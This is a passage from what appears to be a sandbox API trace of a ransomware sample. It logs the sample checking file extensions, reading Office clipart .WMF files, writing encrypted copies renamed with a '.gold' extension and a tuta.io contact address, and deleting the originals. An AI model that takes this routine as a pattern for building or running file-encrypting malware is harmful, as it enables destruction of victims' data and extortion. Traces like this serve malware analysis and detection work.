(lpString1=".ppt", lpString2=".WMF") returned -1 [0053.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.439] lstrlenW (lpString=".zip") returned 4 [0053.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.439] lstrlenW (lpString=".rar") returned 4 [0053.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.439] lstrlenW (lpString=".bz2") returned 4 [0053.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.439] lstrlenW (lpString=".7z") returned 3 [0053.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.439] lstrlenW (lpString=".dbf") returned 4 [0053.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.439] lstrlenW (lpString=".1cd") returned 4 [0053.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.439] lstrlenW (lpString=".jpg") returned 4 [0053.439] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.440] lstrlenW (lpString=".doc") returned 4 [0053.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.440] lstrlenW (lpString=".docx") returned 5 [0053.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.440] lstrlenW (lpString=".pdf") returned 4 [0053.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.440] lstrlenW (lpString=".xls") returned 4 [0053.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.440] lstrlenW (lpString=".xlsx") returned 5 [0053.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.440] lstrlenW (lpString=".ppt") returned 4 [0053.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.440] lstrlenW (lpString=".zip") returned 4 [0053.440] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.440] lstrlenW (lpString=".rar") returned 4 [0053.440] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.440] lstrlenW (lpString=".bz2") returned 4 [0053.440] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.440] lstrlenW (lpString=".7z") returned 3 [0053.440] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.440] lstrlenW (lpString=".dbf") returned 4 [0053.440] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.440] lstrlenW (lpString=".1cd") returned 4 [0053.440] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0053.440] lstrlenW (lpString=".jpg") returned 4 [0053.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.440] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.440] lstrlenW (lpString="BL00525_.WMF") returned 12 [0053.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.440] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=9590) returned 1 [0053.440] CloseHandle (hObject=0x1f4) returned 1 [0053.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0053.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.441] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.441] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.441] GetLastError () returned 0x0 [0053.441] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x2576, lpOverlapped=0x0) returned 1 [0053.442] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0053.443] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.443] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.443] SetEndOfFile (hFile=0x1e8) returned 1 [0053.443] CloseHandle (hObject=0x1e8) returned 1 [0053.443] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.443] SetEndOfFile (hFile=0x1f4) returned 1 [0053.444] CloseHandle (hObject=0x1f4) returned 1 [0053.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0053.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.445] lstrlenW (lpString=".doc") returned 4 [0053.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString=".docx") returned 5 [0053.445] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.445] lstrlenW (lpString=".pdf") returned 4 [0053.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString=".xls") returned 4 [0053.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.445] lstrlenW (lpString=".xlsx") returned 5 [0053.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.445] lstrlenW (lpString=".ppt") returned 4 [0053.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.445] lstrlenW (lpString=".zip") returned 4 [0053.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.445] lstrlenW (lpString=".rar") returned 4 [0053.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString=".bz2") returned 4 [0053.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString=".7z") returned 3 [0053.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.445] lstrlenW (lpString=".dbf") returned 4 [0053.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.445] lstrlenW (lpString=".1cd") returned 4 [0053.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.445] lstrlenW (lpString=".jpg") returned 4 [0053.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.445] lstrlenW (lpString=".doc") returned 4 [0053.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString=".docx") returned 5 [0053.445] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.445] lstrlenW (lpString=".pdf") returned 4 [0053.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString=".xls") returned 4 [0053.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.445] lstrlenW (lpString=".xlsx") returned 5 [0053.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.445] lstrlenW (lpString=".ppt") returned 4 [0053.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.445] lstrlenW (lpString=".zip") returned 4 [0053.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.445] lstrlenW (lpString=".rar") returned 4 [0053.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString=".bz2") returned 4 [0053.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.445] lstrlenW (lpString=".7z") returned 3 [0053.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.446] lstrlenW (lpString=".dbf") returned 4 [0053.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.446] lstrlenW (lpString=".1cd") returned 4 [0053.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0053.446] lstrlenW (lpString=".jpg") returned 4 [0053.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.446] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.446] lstrlenW (lpString="BL00526_.WMF") returned 12 [0053.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.446] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=27552) returned 1 [0053.446] CloseHandle (hObject=0x1f4) returned 1 [0053.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0053.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.446] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.446] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.447] GetLastError () returned 0x0 [0053.447] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x6ba0, lpOverlapped=0x0) returned 1 [0053.448] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x6bb0, lpOverlapped=0x0) returned 1 [0053.449] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.449] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.449] SetEndOfFile (hFile=0x1e8) returned 1 [0053.449] CloseHandle (hObject=0x1e8) returned 1 [0053.450] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.450] SetEndOfFile (hFile=0x1f4) returned 1 [0053.450] CloseHandle (hObject=0x1f4) returned 1 [0053.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0053.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.451] lstrlenW (lpString=".doc") returned 4 [0053.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.451] lstrlenW (lpString=".docx") returned 5 [0053.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.451] lstrlenW (lpString=".pdf") returned 4 [0053.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.451] lstrlenW (lpString=".xls") returned 4 [0053.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.451] lstrlenW (lpString=".xlsx") returned 5 [0053.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.451] lstrlenW (lpString=".ppt") returned 4 [0053.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.451] lstrlenW (lpString=".zip") returned 4 [0053.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.451] lstrlenW (lpString=".rar") returned 4 [0053.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.451] lstrlenW (lpString=".bz2") returned 4 [0053.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.451] lstrlenW (lpString=".7z") returned 3 [0053.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.451] lstrlenW (lpString=".dbf") returned 4 [0053.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.451] lstrlenW (lpString=".1cd") returned 4 [0053.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.451] lstrlenW (lpString=".jpg") returned 4 [0053.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.451] lstrlenW (lpString=".doc") returned 4 [0053.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.451] lstrlenW (lpString=".docx") returned 5 [0053.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.451] lstrlenW (lpString=".pdf") returned 4 [0053.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.451] lstrlenW (lpString=".xls") returned 4 [0053.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.451] lstrlenW (lpString=".xlsx") returned 5 [0053.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.452] lstrlenW (lpString=".ppt") returned 4 [0053.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.452] lstrlenW (lpString=".zip") returned 4 [0053.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.452] lstrlenW (lpString=".rar") returned 4 [0053.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.452] lstrlenW (lpString=".bz2") returned 4 [0053.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.452] lstrlenW (lpString=".7z") returned 3 [0053.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.452] lstrlenW (lpString=".dbf") returned 4 [0053.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0053.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.452] lstrlenW (lpString=".1cd") returned 4 [0053.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0053.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0053.452] lstrlenW (lpString=".jpg") returned 4 [0053.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0053.452] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0053.452] lstrlenW (lpString="BL00648_.WMF") returned 12 [0053.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.453] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=11500) returned 1 [0053.453] CloseHandle (hObject=0x1f4) returned 1 [0053.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 0x20 [0053.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0053.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0053.453] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.453] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0053.453] GetLastError () returned 0x0 [0053.453] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x2cec, lpOverlapped=0x0) returned 1 [0053.454] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0053.455] ReadFile (in: hFile=0x1f4, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.455] WriteFile (in: hFile=0x1e8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xec, lpOverlapped=0x0) returned 1 [0053.455] SetEndOfFile (hFile=0x1e8) returned 1 [0053.455] CloseHandle (hObject=0x1e8) returned 1 [0053.456] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.456] SetEndOfFile (hFile=0x1f4) returned 1 [0053.456] CloseHandle (hObject=0x1f4) returned 1 [0053.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0053.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0053.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.457] lstrlenW (lpString=".doc") returned 4 [0053.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0053.457] lstrlenW (lpString=".docx") returned 5 [0053.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0053.457] lstrlenW (lpString=".pdf") returned 4 [0053.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0053.457] lstrlenW (lpString=".xls") returned 4 [0053.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0053.457] lstrlenW (lpString=".xlsx") returned 5 [0053.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0053.457] lstrlenW (lpString=".ppt") returned 4 [0053.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0053.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.457] lstrlenW (lpString=".zip") returned 4 [0053.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0053.457] lstrlenW (lpString=".rar") returned 4 [0053.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0053.457] lstrlenW (lpString=".bz2") returned 4 [0053.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0053.457] lstrlenW (lpString=".7z") returned 3 [0053.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0053.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0053.457] lstrlenW (lpString=".dbf") 